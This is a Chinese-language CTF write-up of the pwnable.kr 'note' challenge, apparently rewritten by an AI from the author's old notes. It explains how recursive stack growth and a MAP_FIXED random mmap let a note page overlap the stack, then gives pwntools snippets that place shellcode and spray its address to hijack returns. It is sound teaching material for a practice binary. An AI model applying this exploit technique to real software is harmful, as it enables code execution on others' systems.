Pwnable.kr Note
个人前言
大概在五年之前的组会上做出来的一道题目,无意间点到这篇文章,发现写的很不好,完全看不懂了。于是就直接把源码、自己的脚本、当时写的笔记甩给 GPT5.5,让他来重新总结。
不得不说,真是吊打我啊,写的比我的好多了,看了一会就立马懂了。
除了这个章节剩下的全是 AI 写的,我完全不需要修改,期间只问了他一个疑问,然后让他多做了一次调整。
当时写的笔记的开头,怀念,居然五年多了:
竟然在开组会的时候不小心写出来了,感谢无私分享解法的一位外国小哥。
前言
这题的关键不在于单个传统栈溢出,而在于几个看似“不够致命”的点组合在一起:
- 程序关闭 ASLR,栈地址相对固定。
select_menu()反复递归调用自身,导致栈持续向低地址增长。mmap_s()使用MAP_FIXED强行映射随机地址,可能覆盖已有映射。- note 页是
RWX,并且创建后会把映射地址打印出来。
最终思路是:先让递归不断压栈,再等待一次 mmap_s() 正好把 note 映射到当前栈区间内。由于 MAP_FIXED 会覆盖原有栈页,我们就可以把某段栈内容改成 shellcode 地址。之后程序退出或返回时,递归调用开始一层层 leave; ret,最终控制流会跳到 shellcode。
程序功能
程序维护了一个全局指针数组:
void* mem_arr[257];
用户可以创建、写入、读取、删除 note。创建 note 时,程序调用 mmap_s() 映射一页内存,并把地址打印出来:
void create_note(){
int i;
void* ptr;
for(i=0; i<256; i++){
if(mem_arr[i] == NULL){
ptr = mmap_s((void*)NULL, PAGE_SIZE,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
mem_arr[i] = ptr;
printf("note created. no %d\n [%08x]", i, (int)ptr);
return;
}
}
printf("memory sults are fool\n");
return;
}
这里有两个很重要的利用条件:
- 创建出来的 note 页具有
PROT_READ | PROT_WRITE | PROT_EXEC权限,可以直接放 shellcode。 - 程序会泄露每个 note 的实际映射地址,方便脚本判断这次映射是否命中了目标区域。
写 note 时使用的是 gets():
void write_note(){
unsigned int no;
printf("note no?\n");
scanf("%d", &no);
clear_newlines();
if(no>256){
printf("index out of range\n");
return;
}
if(mem_arr[no]==NULL){
printf("empty slut!\n");
return;
}
printf("paste your note (MAX : 4096 byte)\n");
gets(mem_arr[no]);
}
因为每个 note 页大小是 0x1000,脚本写入的数据不超过这一页即可。真正决定能否利用的不是这里的 gets() 溢出,而是我们能否让某个 note 页映射到栈上。
误导点:Secret Menu 的 1 字节溢出
菜单里有一个隐藏选项:
void select_menu(){
int menu;
char command[1024];
scanf("%d", &menu);
clear_newlines();
switch(menu){
case 0x31337:
printf("welcome to hacker's secret menu\n");
printf("i'm sure 1byte overflow will be enough for you to pwn this\n");
fgets(command, 1025, stdin);
break;
// ...
}
select_menu();
}
command 只有 1024 字节,但 fgets(command, 1025, stdin) 最多会写入 1024 个输入字符和 1 个字符串结束符,因此存在 1 字节溢出。
不过这个点单独看并不好用。实际调试可以看到,这 1 字节主要影响附近的局部变量,例如 menu 的低字节。可是当前这轮 switch 已经执行完,函数马上再次调用 select_menu() 进入下一轮菜单,因此这个 1 字节覆盖很难直接劫持控制流。
它更像是题目给出的提示:真正要关注的是 select_menu() 的递归结构,以及不断增长的栈。
关键点一:递归菜单导致栈持续下降
select_menu() 在函数末尾再次调用自己:
select_menu();
如果编译器没有做尾调用优化,那么每次选择菜单后都会创建一个新的栈帧,旧的栈帧不会释放。x86 的栈从高地址向低地址增长,所以每次递归都会让当前栈顶继续降低。
在调试环境中,可以观察到每进入一次新的 select_menu(),栈大约下降:
0x430
这也是 exploit 中的常量:
one_stack_offset = 0x430
ebp_start = 0xffffdc08
esp_start = 0xffffd7e0
于是,随着菜单循环次数增加,活跃栈区间会不断变大。由于题目环境不开 ASLR,初始栈地址稳定,我们可以在脚本里估算当前递归深度对应的栈范围。
关键点二:MAP_FIXED 可以覆盖已有映射
题目自定义了一个所谓“安全”的 mmap_s():
void* mmap_s(void* addr, size_t length, int prot, int flags, int fd, off_t offset){
if(addr == NULL && !(flags & MAP_FIXED) ){
void* tmp=0;
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1) exit(-1);
if(read(fd, &addr, 4)!=4) exit(-1);
close(fd);
addr = (void*)( ((int)addr & 0xFFFFF000) | 0x80000000 );
while(1){
tmp = mmap(addr, length, prot, flags | MAP_FIXED, fd, offset);
if(tmp != MAP_FAILED){
return tmp;
}
else{
addr = (void*)((int)addr + PAGE_SIZE);
}
}
}
return mmap(addr, length, prot, flags, fd, offset);
}
它的本意是从 /dev/urandom 取一个随机地址,然后按页对齐,并强制设置最高位,让地址落在高地址区域。
问题在于:它调用 mmap() 时加了 MAP_FIXED。
MAP_FIXED 的语义非常危险:如果目标地址已经存在映射,内核会先取消原映射,再把新映射放到这个地址。因此,当随机地址落到栈区间时,mmap_s() 就会把对应的栈页替换成一页新的 RWX note 内存。
这意味着我们拿到的不只是普通 note,而是“覆盖到栈上的 note”。之后通过 write_note() 写这个 note,本质上就是在写那段栈内存。
利用目标
利用时需要两块 note:
- 一块普通 note,用来存放 shellcode。
- 一块命中栈区间的 note,用来把栈内容覆盖成 shellcode 地址。
因为程序会打印每次创建 note 的地址,所以脚本可以不断创建 note,并检查返回地址是否落在我们估算的栈区间内:
if (this_addr < ebp_start) and (this_addr > stack_addr):
note_in_stack = (this_no, hex(this_addr))
break
这里的 ebp_start 是初始栈帧附近的高地址边界,stack_addr 是根据递归次数估算出来的当前低地址边界。只要 this_addr 落在这个区间,说明这次 mmap_s() 映射到了当前活跃栈区域。
选择这个区间的原因是:
- 栈从高地址向低地址增长。
- 当前递归越深,已经占用的栈范围越大。
- 只要 note 映射到当前栈顶以上、初始栈附近以下的位置,就有机会覆盖未来返回过程中会被使用到的栈数据。
利用流程
1. 不断创建 note,等待命中栈区间
脚本每次调用 create_one(),都会进入一层新的菜单递归,并获得新 note 的编号和地址:
def create_one():
sh.recvuntil('5. exit\n')
sh.sendline('1')
data = sh.recvuntil('- Select Menu -').split(b' ')
this_no = int( data[3][:-1], 10 )
this_addr = int( data[4][1:-2], 16 )
return (this_no, this_addr)
如果这次映射地址没有落到栈区间,就继续创建。同时根据递归深度更新当前估算的栈低地址:
if (this_no == 255):
delete_all()
stack_addr = stack_addr - one_stack_offset * 256
else:
stack_addr = stack_addr - one_stack_offset
由于 mem_arr 最多保存 256 个 note,编号达到 255 后需要先删除所有 note,再继续尝试。删除 note 本身也会经过菜单递归,因此脚本同样要把这部分带来的栈下降计入 stack_addr。
2. 创建 shellcode note
一旦找到了命中栈区间的 note,就再创建一个普通 note,用来放 shellcode:
note_in_shell = create_one()
shellcode = 160 * b'\x90' + asm(shellcraft.sh())
write_one(note_in_shell[0], shellcode)
这里前面放了一段 NOP sled,降低跳转误差带来的影响。
3. 覆盖栈 note
最后,把命中栈区间的 note 写满 shellcode note 的地址:
write_one(note_in_stack[0], p32(note_in_shell[1]) * 1000)
这一步的效果是:把某段活跃栈内存改成大量相同的地址。之后当程序开始从递归调用中返回时,某一次 ret 会从这片被覆盖的栈中取返回地址,于是跳到 shellcode note。
这里的“从递归调用中返回”是由菜单里的退出选项触发的。源码中 5. exit 对应的逻辑如下:
case 5:
printf("bye\n");
return;
但是程序的菜单不是普通 while 循环,而是在每次处理完菜单后递归调用自己:
select_menu();
所以调用关系大致是:
select_menu 第 1 层
-> select_menu 第 2 层
-> select_menu 第 3 层
-> ...
当我们在最深的一层选择 5 时,当前这一层 select_menu() 会 return。返回到上一层后,上一层的 select_menu() 调用点后面也没有其他逻辑,于是上一层也会继续返回。这个过程会一直向外层展开。
每一层函数返回时都会执行类似 leave; ret 的流程,从栈上恢复 ebp 并取出返回地址。前面我们已经把某段栈内容覆盖成了大量 shellcode note 的地址,因此只要某一次 ret 从这片区域取返回地址,控制流就会跳入 shellcode。
为什么能够成功
整个利用链可以概括为:
- 递归菜单让栈不断向低地址增长。
- 不开 ASLR 使初始栈地址固定,脚本可以估算当前栈区间。
mmap_s()使用随机高地址,但每次会打印实际映射地址。MAP_FIXED允许新 note 覆盖已有栈页。- note 页具有
RWX权限,可以直接放 shellcode。 - 覆盖栈页后,把未来返回路径上的内容铺成 shellcode 地址。
- 递归返回时触发
ret,控制流跳入 shellcode。
这题最精髓的地方在于,不需要精确覆盖某一个保存返回地址。我们利用递归制造出一大片未来会被返回流程消费的栈空间,再用 p32(shellcode_addr) * 1000 粗暴铺满。只要某次 ret 从这片区域取值,就能完成劫持。
总结
这题可以学到两个很重要的点:
- 不受控的递归会持续消耗栈空间,在关闭 ASLR 的场景下甚至可以变成可预测的利用条件。
MAP_FIXED非常危险,它不是“如果地址可用就映射”,而是“强制把映射放在这里,即使要覆盖原有映射”。
因此,所谓的 mmap_s() 并没有让程序更安全,反而提供了覆盖栈映射的能力。配合可执行 note 页和地址泄露,最终就能稳定地把控制流导向 shellcode。